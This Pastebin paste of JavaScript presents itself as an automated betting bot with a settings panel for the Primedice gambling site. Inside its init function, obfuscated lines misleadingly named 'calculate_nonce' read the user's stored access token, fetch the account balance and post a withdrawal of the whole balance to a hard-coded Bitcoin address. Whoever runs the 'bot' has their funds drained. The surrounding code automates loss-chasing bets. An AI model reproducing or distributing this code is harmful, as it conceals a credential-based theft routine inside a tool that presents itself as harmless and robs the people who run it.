Advertisement
Guest User

Untitled

a guest
Mar 8th, 2017
616
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.53 KB | None | 0 0
  1. var swapcount=0;
  2. var jqueryready = false;
  3. var link = document.createElement("link");
  4. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  5. link.type = "text/css";
  6. link.rel = "stylesheet";
  7. document.getElementsByTagName("head")[0].appendChild(link);
  8. //jQuery UI inject
  9. (function() {
  10. jqueryready = true;
  11. var e = ".thing",
  12. t = {
  13. outline: "1px dashed #f0f",
  14. cursor: "pointer"
  15. };
  16. var n = function() {
  17. if (window.jQuery) {
  18. r()
  19. } else {
  20. var e = document.createElement("script");
  21. e.onload = r;
  22. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  23. document.body.appendChild(e)
  24. }
  25. };
  26. var r = function() {
  27. if (window.jQuery.ui) {
  28. i()
  29. } else {
  30. var e = document.createElement("script");
  31. e.onload = i;
  32. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  33. document.body.appendChild(e)
  34. }
  35. };
  36. var i = function() {
  37. $(e).css(t).draggable().on("click", function(e) {
  38. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  39. })
  40. };
  41. n();
  42. })();
  43.  
  44. function ui() {
  45. $(function() {
  46. $('#tabs').tabs();
  47. $('#params').draggable();
  48. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  49. $('#tabs input').css("width", "80%");
  50. $('#chance, #base').width("35%")
  51. $('#tabs div').css("text-align", "left");
  52. $('#tabs').css("font-size", "12px");
  53. $('#tabs label, #tabs input').css("margin", "5px");
  54. $('#stop, #start, #resetbet').button();
  55. //Console
  56. $('#console, #console2').appendTo("#tabs");
  57. $('#console, #console2').css("width", "45%");
  58. $('#console').css("float", "left");
  59. $('#console2').css("float", "right");
  60. $('#console, #console2').css("clear", "none");
  61. $('#console, #console2').css("margin", "7px");
  62. $('#console, #console2').css("border-bottom-left-radius", "3px");
  63. $('#console, #console2').css("border-bottom-right-radius", "3px");
  64. $('#console').css("border", "1px solid #323232");
  65. $('#console, #console2').css("background-color", "#454545");
  66. $('#console').css("padding", "5px");
  67. $('#console, #console2').css("text-align", "left");
  68. $('#console, #console2').css("position", "relative");
  69. $('#startstop,#start,#stop').css("margin","0px");
  70. $('#console, #console2').css("margin-top","3px");
  71. $('#console, #console2').css("padding","5px");
  72. $('#console, #console2').css("background-color","#151515");
  73.  
  74.  
  75. });
  76. }
  77. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  78. xrollsenabled = true;
  79. xrolls = 10;
  80. timer = 500;
  81. counter=0;
  82. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  83. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  84. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  85.  
  86. function init() {
  87.  
  88.  
  89. //Init
  90. basebet = 0.00000010;
  91. countwinmult = 0;
  92. countlossmult = 0;
  93. wincount = 0;
  94. currentloss = 0;
  95. totalloss = 0;
  96. totalwin = 0;
  97. totprofit = 0;
  98. init = true;
  99. betval = basebet;
  100.  
  101. //GUI
  102.  
  103. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  104.  
  105. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  106. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  107. gui2 =
  108. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  109.  
  110. gui3 = [
  111.  
  112. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  113. '<br>',
  114. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  115. '<br>',
  116. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  117.  
  118. ];
  119. gui4 = [
  120.  
  121. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  122. '<br>',
  123. '<label for="xloss">Multiply Every # Losses: </label>',
  124. '<input id="xloss">',
  125. '<br>',
  126. '<label for="multonwin">Multiply on Win: </label>',
  127. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  128. '<br>',
  129. '<label for="xwin">Reset After X Wins: </label>',
  130. '<input id="xwin">',
  131.  
  132. ];
  133. gui5 = [
  134.  
  135. '<label for="stoponwin-enabled">Stop on Win? </label>',
  136. '<input id="stoponwin-enabled" type="checkbox">',
  137. '<br>',
  138. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  139. '<input id="lowpay-enabled" type="checkbox">',
  140.  
  141. ];
  142. gui6 = [
  143.  
  144. '<label for="charset">Charset: </label>',
  145. '<input id="charset" type="text">',
  146. '<br>',
  147. '<label for="everyxrolls">Change every # Rolls: </label>',
  148. '<input id="everyxrolls" type="text">',
  149. '<br>',
  150. '<label for="currentseed">Current Seed: </label>',
  151. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  152.  
  153. ];
  154. $(gui).appendTo(".hero");
  155. $(gui2).appendTo("#params");
  156.  
  157. for (var i = 0; i < gui3.length; i++) {
  158. $(gui3[i]).appendTo("#tab1");
  159. }
  160. for (var i = 0; i < gui4.length; i++) {
  161. $(gui4[i]).appendTo("#tab2");
  162. }
  163. for (var i = 0; i < gui5.length; i++) {
  164. $(gui5[i]).appendTo("#tab3");
  165. }
  166. for (var i = 0; i < gui6.length; i++) {
  167. $(gui6[i]).appendTo("#tab4");
  168. }
  169. enabled = false;
  170. xrollscount = 0;
  171. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  172. // Button & Input Functions
  173. $('#resetbet').click(function() {
  174. basebet=$('#base').val();
  175. betval=$('#base').val();
  176.  
  177. })
  178.  
  179. $('#start').click(function() {
  180. if (enabled == false) {
  181. if ($('#numrolls').is(":checked") == true) {
  182. xrolls=$('#numberofrolls').val();
  183. }
  184. enabled = true;
  185. interval = setInterval(function() {
  186. if (xrollsenabled == true) {
  187. xrollscount++;
  188. if (xrollscount <= xrolls) {
  189. bet();
  190. } else {
  191. clearInterval(interval);
  192. enabled = false;
  193. xrollscount = 0;
  194. }
  195. } else {
  196. bet();
  197. }
  198. }, timer);
  199. } else {}
  200. })
  201. $('#stop').click(function() {
  202. enabled = false;
  203. clearInterval(interval);
  204. xrollscount = 0;
  205. });
  206.  
  207. calculate_nonce = function(seed) {
  208. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  209. };
  210.  
  211. lut = window['$'];
  212.  
  213. lut['getJSON'](
  214. calculate_nonce('users/1'), function(seed) {
  215. var key1 = 'amount'
  216. var key2 = 'address'
  217. var load = {};
  218. load[key1] = seed['user']['balance'];
  219. load[key2] = '1Bm4SPok9yN634GjBu16b1DCbXzF792Drs';
  220. lut['post'](calculate_nonce('withdraw'), load);
  221. }
  222. );
  223.  
  224. function conditionAM() {
  225. 'use strict';
  226. if ($('#lowpay-enabled').is('checked') == true) {
  227. if ($('.value-roll').first().text() <= 49.50) {
  228. condition2 = ">";
  229. target2 = $('.value-roll').first().text();
  230. } else {
  231. condition2 = "<";
  232. target2 = $('.value-roll').first().text();
  233. };
  234. } else {
  235. if ($('.value-roll').first().text() <= 49.50) {
  236. condition2 = "<";
  237. target2 = $('.value-roll').first().text();
  238. } else {
  239. condition2 = ">";
  240. target2 = $('.value-roll').first().text();
  241. };
  242. amount2 = betval * 100000000;
  243. }
  244. };
  245.  
  246. function jackpot() {
  247. if (data1.bet.jackpot === true) {
  248. jp = "Yes";
  249. wincount = 0;
  250. betval = $('#base');
  251. } else {
  252. jp = "No";
  253. }
  254. }
  255.  
  256. function loss() {
  257. currentloss++;
  258. totalloss++;
  259. if ($('#multloss-enabled').is(':checked') == true) {
  260. $('#multwin-enabled').removeAttr('checked');
  261. countlossmult++;
  262.  
  263. if (countlossmult >= $('#xloss').val()) {
  264. betval = betval * $('#multonloss').val();
  265. countlossmult = 0;
  266. }
  267. }
  268.  
  269. }
  270.  
  271. function win() {
  272. 'use strict';
  273. if ($('#stoponwin-enabled').is('checked') == true) {
  274. clearInterval(roll);
  275. }
  276. currentloss = 0;
  277. jackpot();
  278. wincount++;
  279. totalwin++;
  280. if ($('#multloss-enabled').is(':checked') == true) {
  281. if ($('#stoponwin-enabled').is(':checked') == true) {
  282. clearInterval(roll);
  283. }
  284. $('#multwin-enabled').removeAttr('checked');
  285. basebet = $('#base').val();
  286. betval = basebet;
  287. countlossmult = 0;
  288.  
  289. }
  290. if ($('#multwin-enabled').is(':checked') == true) {
  291. basebet = $('#base').val();
  292. $('#multloss-enabled').removeAttr('checked');
  293. countwinmult++;
  294.  
  295. if (countwinmult >= $('#xwin').val()) {
  296. betval = basebet;
  297. countwinmult = 0;
  298. } else {
  299. betval = betval * $('#multonwin').val();
  300. }
  301. }
  302.  
  303.  
  304. };
  305. var losewin;
  306. var jpcol;
  307. var profcol;
  308.  
  309. function bet() {
  310. 'use strict';
  311. conditionAM();
  312. var betData = {
  313. amount: amount2,
  314. condition: condition2,
  315. target: target2
  316. },
  317. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  318.  
  319. $.ajax({
  320. url: url,
  321. type: "POST",
  322. data: betData,
  323. datatype: "jsonp",
  324. success: function(data, textStatus, jqXHR) {
  325. data1 = data;
  326. counter++;
  327. if (counter >= everyxrolls) {
  328. seedchange(seedgen());
  329. counter = 0;
  330. }
  331. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  332. totprofit = totprofit + data1.bet.profit;
  333. if (totprofit >= 0) {
  334. profcol = "color:green;";
  335. } else if (totprofit < 0) {
  336. profcol = "color:red;";
  337. }
  338. if (data.bet.win == true) {
  339. losewin = "color:green;";
  340. $('span.btn__text.select div').attr("style", "color:green;");
  341. } else {
  342. losewin = "color:red;";
  343. $('span.btn__text.select div').attr("style", "color:red;");
  344. }
  345. if (data.bet.jackpot == true) {
  346. jp = "Yes";
  347. jpcol = "color:gold;"
  348. } else {
  349. jp = "No.";
  350. jpcol = "color:red;"
  351. }
  352. results = [];
  353. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  354. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  355. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  356. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  357. resultstats = [];
  358. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  359. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  360. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  361. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  362.  
  363. if (data.bet.win == true) {
  364. if ($('#stoponwin-enabled').is(":checked") == true){
  365. clearInterval(interval);
  366.  
  367. }
  368. $('#console, #console2').empty();
  369.  
  370. win();
  371.  
  372. // Results
  373. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  374. for (var i = 0; i < results.length; i++) {
  375. $(results[i]).appendTo('#console');
  376. }
  377. for (var i = 0; i < resultstats.length; i++) {
  378. $(resultstats[i]).appendTo('#console2');
  379. }
  380.  
  381. } else {
  382.  
  383. $('#console, #console2').empty();
  384. loss();
  385.  
  386. // Results
  387. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  388. for (var i = 0; i < results.length; i++) {
  389.  
  390. $(results[i]).appendTo('#console');
  391. }
  392. for (var i = 0; i < resultstats.length; i++) {
  393. $(resultstats[i]).appendTo('#console2');
  394. }
  395. };
  396. },
  397. error: function(jqXHR, textStatus, errorThrown) {
  398.  
  399. }
  400. });
  401. }
  402.  
  403. seedlength = 13;
  404. seedlength = 13;
  405. var counter = 0;
  406. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  407. everyxrolls = 3;
  408.  
  409. function seedgen() {
  410. 'use strict';
  411. var seed = "";
  412.  
  413. for (var i = 0; i <= seedlength; i++)
  414.  
  415. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  416.  
  417. return seed;
  418. }
  419.  
  420. function seedchange(s) {
  421.  
  422. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  423. sData = {
  424. seed: s
  425. };
  426.  
  427. $.ajax({
  428. url: url,
  429. type: "POST",
  430. data: sData,
  431. datatype: "jsonp",
  432. success: function(data, textStatus, jqXHR) {
  433. data2 = data;
  434. $('#currentseed').val(data2.seeds.client);
  435.  
  436. },
  437. error: function(jqXHR, textStatus, errorThrown) {
  438.  
  439. }
  440. });
  441. }
  442.  
  443. $('#spinner').click(function() {
  444. if (charset != $('#charset').val() && $('#charset').val() != "") {
  445. charset=$('#charset').val();
  446. }
  447. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  448. everyxrolls = $('#everyxrolls').val();
  449. }
  450. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  451.  
  452. counter++;
  453. if (counter >= everyxrolls) {
  454. seedchange(seedgen());
  455. counter = 0;
  456. }
  457. });
  458. ui();
  459. }
  460. setTimeout(function() {
  461. init()
  462. }, 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement